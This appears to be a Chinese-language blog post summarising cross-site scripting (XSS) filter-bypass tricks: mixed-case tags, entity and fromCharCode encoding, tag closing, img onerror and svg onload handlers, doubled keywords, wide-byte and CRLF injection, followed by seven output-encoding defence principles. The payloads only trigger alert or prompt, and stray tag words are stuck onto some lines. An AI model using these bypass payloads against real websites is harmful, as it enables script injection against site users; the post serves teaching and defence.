XSS繞過與防護總結

跨站腳本攻擊(Cross Site Scripting),爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的特殊目的。javascript

0x01 XSS的分類

  • 反射型(非持久型)
  • 存儲型(持久型)
  • DOM型

具體的一些介紹與簡單的實例就不作詳述了,本文主要介紹的是XSS的繞過技巧與防護。java

0x02 XSS的繞過

大小寫繞過

<ScRIpT>alert('123')</sCRIpT>

編碼繞過

1.十六進制編碼

2.jsfuck編碼

3.url編碼

4.unicode編碼

    <0x736372697074>alert('123')</0x736372697074>
    <img src="1" onerror="alert&#x28;1&#x29;"> 
    '被過濾,咱們能夠將'寫爲 &#x27
    將"/"轉義爲"&sol;"

繞過magic_quotes_gpc

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

閉合標籤

"><script>alert(/123/)</script>

    </script><script>alert(1)</script>

標籤繞過

<img src="x" onerror="alert(1)">
    <button onclick="javascript:alert('xss')>XSS</button">
    <title><img a="</title><img/src=1 onerror=alert(1)//">
    "onsubmit=javascript:alert(1)%20name="a

其餘符號繞過

%0aalert(1);   %0a  換行符
    /**/            替換空格
    %00             截斷

雙字母繞過

<img ononerrorerror="123">
    <script>alalertert(123)</script>

寬字節繞過

gbxxxx系列的編碼,那麼咱們嘗試一下寬字節  %c0 %bf  %5c

其餘事件繞過

onload
    onclick
    onerror
    prompt
    confirm
    onmousemove

CRLF injection繞過

CRLF是」回車 + 換行」(\r\n)的簡稱。
http://www.xxx.com%0d%0a%0d%0a+xss代碼

<svg/onload=prompt(1)>

0x03 XSS的防護

  • 原則1:「Secure By Default」原則:不要往HTML頁面中插入任何不可信數據xss

  • 原則2:在將不可信數據插入到HTML標籤之間時,對這些數據進行HTML Entity編碼svg

  • 原則3:在將不可信數據插入到HTML屬性裏時,對這些數據進行HTML屬性編碼編碼

  • 原則4:在將不可信數據插入到SCRIPT裏時,對這些數據進行SCRIPT編碼url

  • 原則5:在將不可信數據插入到Style屬性裏時,對這些數據進行CSS編碼code

  • 原則6:在將不可信數據插入到HTML URL裏時,對這些數據進行URL編碼事件

  • 原則7:使用富文本時,使用XSS規則引擎進行編碼過濾ip

歡迎訪問獨立博客joy_nickunicode

相關文章
相關標籤/搜索